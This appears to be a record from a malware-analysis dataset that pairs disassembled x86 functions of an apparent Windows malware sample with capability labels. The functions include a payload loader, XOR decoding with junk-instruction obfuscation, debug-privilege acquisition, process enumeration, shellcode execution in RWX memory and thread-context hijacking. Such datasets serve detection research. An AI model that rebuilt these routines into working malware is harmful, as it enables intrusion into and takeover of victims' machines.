joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402c50
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
mov eax, dword [0x443cd0]
xor eax, ebp
mov dword [ebp - 0x18], eax
mov eax, 1
test eax, eax
je 0x402e50
push 0
push 0x80
push 3
push 0
push 0
push SysReAllocStringLen
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402e4b
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
push 4
push 0x3000
mov eax, dword [ebp - 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.004029a0
add esp, 8
mov edx, dword [ebp - 0xc]
push edx
call fcn.00401830
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x402e4b
mov byte [ebp - 0x80], 0
push 0x63
push 0
lea eax, [ebp - 0x7f]
push eax
call fcn.004212e0
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0x8c], 0x75
mov byte [ebp - 0x8b], 0x70
mov byte [ebp - 0x8a], 0x64
mov byte [ebp - 0x89], 0x61
mov byte [ebp - 0x88], 0x74
mov byte [ebp - 0x87], 0x61
mov byte [ebp - 0x86], 0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x8c]
push ecx
lea edx, [ebp - 0x80]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
lea eax, [ebp - 0x80]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00401620
add esp, 8
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
je 0x402e4b
push str.7_b_Ob28PcC_QS9BbCwsbG9_QLznw
call dword [ebp - 0x84]
add esp, 4
mov edx, dword [ebp - 0x14]
push edx
call fcn.00401420
add esp, 4
jmp 0x402e50
jmp 0x402c63
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.00420e17
mov esp, ebp
pop ebp
ret
Function at 0x403240
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x403270
xor eax, eax
jmp 0x403401
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00403fe5
add esp, 4
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
mov dword [ebp - 8], edx
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.004029a0
add esp, 8
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00402b20
add esp, 0x10
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x4033b7
push 0x32
push 0
push 0x4450e4
call fcn.004212e0
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x32
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
push eax
push 0x4450e4
call fcn.00420f70
add esp, 0xc
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.00403ff0
add esp, 4
mov eax, 0x4450e4
jmp 0x403401
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
mov eax, dword [ebp - 8]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00403ff0
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x40740f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x407433
cmp dword [edi + 0x54], 0
jne 0x407433
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.0040ecc3
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.004073d0
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x40797e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x4079c6
call fcn.0040ecc3
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x4079c6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x407a09
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x4079f2
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x4079f2
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x407a06
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x40d7e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x40d827
call fcn.0040ecc3
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40d827
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40d843
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0040d35a
mov esi, eax
test edi, edi
je 0x40d841
test ebx, ebx
je 0x40d841
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40df63
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x4337a5
call fcn.00421bb4
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x40df88
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x40dfce
lea ecx, [ebp - 0x10]
call fcn.00403ae0
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040d84a
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.0040458b
mov eax, esi
call fcn.00421c8c
ret 8

Function at 0x420e17
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x443cd0]
jne 0x420e21
repz ret
jmp fcn.00426a2c

Function at 0x42d8c2
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0042641a
and dword [ebp - 4], 0
cmp dword [0x4479cc], 0
mov ebx, eax
jne 0x42d973
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x42da24
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4398b8
push edi
call esi
test eax, eax
je 0x42da24
push eax
call fcn.004263a8
mov dword [esp], 0x4398a8
push edi
mov dword [0x4479cc], eax
call esi
push eax
call fcn.004263a8
mov dword [esp], 0x439894
push edi
mov dword [0x4479d0], eax
call esi
push eax
call fcn.004263a8
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4479d4], eax
call esi
push eax
call fcn.004263a8
pop ecx
mov dword [0x4479dc], eax
test eax, eax
je 0x42d973
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004263a8
pop ecx
mov dword [0x4479d8], eax
mov eax, dword [0x4479d8]
cmp eax, ebx
je 0x42d9cb
cmp dword [0x4479dc], ebx
je 0x42d9cb
push eax
call fcn.00426423
push dword [0x4479dc]
mov esi, eax
call fcn.00426423
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x42d9cb
test edi, edi
je 0x42d9cb
call esi
test eax, eax
je 0x42d9c2
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x42d9c2
test byte [ebp - 0xc], 1
jne 0x42d9cb
or dword [ebp + 0x10], 0x200000
jmp 0x42da04
mov eax, dword [0x4479d0]
cmp eax, ebx
je 0x42da04
push eax
call fcn.00426423
pop ecx
test eax, eax
je 0x42da04
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x42da04
mov eax, dword [0x4479d4]
cmp eax, ebx
je 0x42da04
push eax
call fcn.00426423
pop ecx
test eax, eax
je 0x42da04
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4479cc]
call fcn.00426423
pop ecx
test eax, eax
je 0x42da24
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x42da26
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x412eee
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 8
pop eax
call fcn.004291f0
push ebx
push esi
push edi
mov eax, dword [ebp + 0x10]
inc eax
push eax
call fcn.0042921f
pop ecx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 8]
push dword [ebp - 4]
call fcn.00428bf0
add esp, 0xc
cmp dword [ebp + 0x10], 0
je 0x412f39
mov ecx, dword [ebp + 0x10]
mov esi, dword [ebp - 4]
mov edi, esi
lodsb al, byte [esi]
xor al, byte [ebp + 0xc]
stosb byte es:[edi], al
sub ecx, 1
jne 0x412f2f
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x413590
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
push 0x14
pop eax
call fcn.004291f0
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4135ef
lea eax, [ebp - 0x10]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push 0
push 0
lea eax, [ebp - 0x14]
push 0x10
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x4135ef
push 1
pop eax
leave
ret
xor eax, eax
leave
ret
Function at 0x414135
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 4
pop eax
call fcn.004291f0
push ebx
push esi
push edi
push 4
push 0x1000
mov eax, dword [ebp + 0xc]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
lea ecx, [ecx]
sub eax, dword [0x7f5508]
sub ebx, dword [str.dj:]
sub edx, dword [0x7f550c]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub ecx, dword [0x7f5510]
mov edx, edx
add ebx, dword [str.dj:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
inc edx
add edx, dword [0x7f550c]
lea ecx, [ecx]
sub eax, dword [0x7f5508]
sub ebx, dword [str.dj:]
sub edx, dword [0x7f550c]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub ecx, dword [0x7f5510]
mov edx, edx
add ebx, dword [str.dj:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
inc edx
add edx, dword [0x7f550c]
mov ecx, dword [ebp + 0xc]
lea ecx, [ecx]
sub eax, dword [0x7f5508]
sub ebx, dword [str.dj:]
sub edx, dword [0x7f550c]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub ecx, dword [0x7f5510]
mov edx, edx
add ebx, dword [str.dj:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
inc edx
add edx, dword [0x7f550c]
mov esi, dword [ebp + 8]
lea ecx, [ecx]
sub eax, dword [0x7f5508]
sub ebx, dword [str.dj:]
sub edx, dword [0x7f550c]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub ecx, dword [0x7f5510]
mov edx, edx
add ebx, dword [str.dj:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
inc edx
add edx, dword [0x7f550c]
mov edi, dword [ebp - 4]
lea ecx, [ecx]
sub eax, dword [0x7f5508]
sub ebx, dword [str.dj:]
sub edx, dword [0x7f550c]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub ecx, dword [0x7f5510]
mov edx, edx
add ebx, dword [str.dj:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
inc edx
add edx, dword [0x7f550c]
lodsb al, byte [esi]
lea ecx, [ecx]
sub eax, dword [0x7f5508]
sub ebx, dword [str.dj:]
sub edx, dword [0x7f550c]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub ecx, dword [0x7f5510]
mov edx, edx
add ebx, dword [str.dj:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
inc edx
add edx, dword [0x7f550c]
xor al, 0xf
stosb byte es:[edi], al
lea ecx, [ecx]
sub eax, dword [0x7f5508]
sub ebx, dword [str.dj:]
sub edx, dword [0x7f550c]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub ecx, dword [0x7f5510]
mov edx, edx
add ebx, dword [str.dj:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
inc edx
add edx, dword [0x7f550c]
sub ecx, 1
jne 0x41424b
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x414f3d
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x130
call fcn.004291f0
push ebx
push esi
push edi
mov dword [ebp - 0x130], 0x128
lea ecx, [ecx]
sub eax, dword [0x7f5508]
sub ebx, dword [str.dj:]
sub edx, dword [0x7f550c]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub ecx, dword [0x7f5510]
mov edx, edx
add ebx, dword [str.dj:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
inc edx
add edx, dword [0x7f550c]
mov esi, dword [0x802800]
lea ecx, [ecx]
sub eax, dword [0x7f5508]
sub ebx, dword [str.dj:]
sub edx, dword [0x7f550c]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub ecx, dword [0x7f5510]
mov edx, edx
add ebx, dword [str.dj:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
inc edx
add edx, dword [0x7f550c]
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
lea ecx, [ecx]
sub eax, dword [0x7f5508]
sub ebx, dword [str.dj:]
sub edx, dword [0x7f550c]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub ecx, dword [0x7f5510]
mov edx, edx
add ebx, dword [str.dj:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
inc edx
add edx, dword [0x7f550c]
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4150cf
cmp esi, dword [ebp - 0x118]
je 0x41508a
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Process32Next
mov dword [ebp - 8], eax
lea ecx, [ecx]
sub eax, dword [0x7f5508]
sub ebx, dword [str.dj:]
sub edx, dword [0x7f550c]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub ecx, dword [0x7f5510]
mov edx, edx
add ebx, dword [str.dj:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
inc edx
add edx, dword [0x7f550c]
cmp dword [ebp - 8], 0
jne 0x41502e
jmp 0x4150cf
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x128]
mov dword [eax], ecx
lea ecx, [ecx]
sub eax, dword [0x7f5508]
sub ebx, dword [str.dj:]
sub edx, dword [0x7f550c]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub ecx, dword [0x7f5510]
mov edx, edx
add ebx, dword [str.dj:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
inc edx
add edx, dword [0x7f550c]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ecx]
sub eax, dword [0x7f5508]
sub ebx, dword [str.dj:]
sub edx, dword [0x7f550c]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub ecx, dword [0x7f5510]
mov edx, edx
add ebx, dword [str.dj:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
inc edx
add edx, dword [0x7f550c]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x415e3f
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x190
call fcn.004291f0
push ebx
push esi
push edi
lea ecx, [ecx]
sub eax, dword [0x7f5508]
sub ebx, dword [str.dj:]
sub edx, dword [0x7f550c]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub ecx, dword [0x7f5510]
mov edx, edx
add ebx, dword [str.dj:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
inc edx
add edx, dword [0x7f550c]
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x415ede
lea ecx, [ecx]
sub eax, dword [0x7f5508]
sub ebx, dword [str.dj:]
sub edx, dword [0x7f550c]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub ecx, dword [0x7f5510]
mov edx, edx
add ebx, dword [str.dj:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
inc edx
add edx, dword [0x7f550c]
jmp 0x415f61
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
lea ecx, [ecx]
sub eax, dword [0x7f5508]
sub ebx, dword [str.dj:]
sub edx, dword [0x7f550c]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub ecx, dword [0x7f5510]
mov edx, edx
add ebx, dword [str.dj:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
inc edx
add edx, dword [0x7f550c]
test esi, esi
jne 0x415f65
lea ecx, [ecx]
sub eax, dword [0x7f5508]
sub ebx, dword [str.dj:]
sub edx, dword [0x7f550c]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub ecx, dword [0x7f5510]
mov edx, edx
add ebx, dword [str.dj:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
inc edx
add edx, dword [0x7f550c]
xor eax, eax
jmp 0x415fac
lea ecx, [ecx]
sub eax, dword [0x7f5508]
sub ebx, dword [str.dj:]
sub edx, dword [0x7f550c]
mov ebx, ebx
add ecx, dword [0x7f5510]
sub ecx, dword [0x7f5510]
mov edx, edx
add ebx, dword [str.dj:]
add eax, dword [0x7f5508]
dec edx
lea edi, [edi]
inc edx
add edx, dword [0x7f550c]
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x418878
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push 0x40
mov esi, 0x3e8
push 0x1000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
mov al, byte [0x7f5500]
push 0xa
push eax
push 0x7fde9c
call fcn.00412eee
add esp, 0xc
mov dword [0x7fdea8], eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push dword [0x7fdea8]
mov ebx, eax
call fcn.0042881a
mov al, byte [0x7f5500]
and dword [0x7fdea8], 0
push 0x13
push eax
push 0x7fdee0
call fcn.00412eee
add esp, 0x10
mov dword [0x7fdef4], eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x7fdef4]
mov dword [ebp - 8], eax
call fcn.0042881a
and dword [0x7fdef4], 0
pop ecx
push 0x40
push 0
push 1
mov eax, dword [ebp - 4]
add eax, 0x10
push eax
add eax, 0x100
push eax
push 0
push 0
mov eax, dword [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 8]
mov eax, dword [ebp - 4]
push dword [eax]
push 0x10000
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop eax
pop esi
pop ebx
leave
ret

Function at 0x418cb6
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
mov edi, 0xbb8
mov ebx, ecx
push edi
call esi
push 1
push dword [ebx + 0x4f0]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
call esi
pop edi
pop esi
pop ebx
ret
Function at 0x418f37
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
sub esp, 0x2d0
push ebx
push ebp
push esi
xor esi, esi
push edi
mov ebx, ecx
push esi
push dword [ebx + 0x514]
call fcn.00418d59
push eax
mov dword [ebx + 0x4e8], eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov al, byte [0x7f5500]
push 0xb
push eax
push 0x7fde50
call fcn.00412eee
add esp, 0xc
mov dword [0x7fde5c], eax
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push dword [0x7fde5c]
mov dword [0x802810], eax
call fcn.0042881a
pop ecx
lea eax, [esp + 0x10]
push esi
push esi
push 0x1f0fff
push eax
mov dword [0x7fde5c], esi
push dword [ebx + 0x4ec]
mov dword [esp + 0x24], esi
push dword [0x802810]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push dword [ebx + 0x518]
push 0x4190f5
push dword [ebx + 0x504]
call fcn.00418941
add esp, 0xc
xor edx, edx
cmp dword [ebx + 0x518], esi
jbe 0x419031
mov eax, edx
add eax, dword [ebx + 0x504]
mov ecx, dword [eax]
cmp ecx, 0x11111111
je 0x419020
cmp ecx, 0x22222222
je 0x419018
cmp ecx, 0x33333333
je 0x419012
cmp ecx, 0x44444444
jne 0x419028
mov ecx, dword [ebx + 0x500]
jmp 0x419026
mov ecx, dword [esp + 0x10]
jmp 0x419026
mov ecx, dword [0x802818]
jmp 0x419026
mov ecx, dword [0x802814]
mov dword [eax], ecx
inc edx
cmp edx, dword [ebx + 0x518]
jb 0x418fe0
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x10007
push eax
push dword [ebx + 0x4e8]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
mov ebp, 0xb3
je 0x419087
mov eax, dword [ebx + 0x508]
lea edi, [ebx + 0x21c]
mov ecx, ebp
lea esi, [esp + 0x14]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0xcc], eax
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x18], 0x10007
push dword [ebx + 0x4e8]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebx + 0x4e8]
mov ecx, ebp
mov ebp, 0x7fd000
lea esi, [ebx + 0x21c]
mov edi, ebp
mov dword [0x7fa970], eax
rep movsd dword es:[edi], dword [esi]
push dword [ebx + 0x4e8]
mov esi, dword [sym.imp.KERNEL32.dll_ResumeThread]
call esi
push 0xffffffffffffffff
push dword [0x802810]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [0x7fa970]
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push ebp
mov dword [0x7fd000], 0x10007
push dword [0x7fa970]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [0x7fa970]
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2d0
ret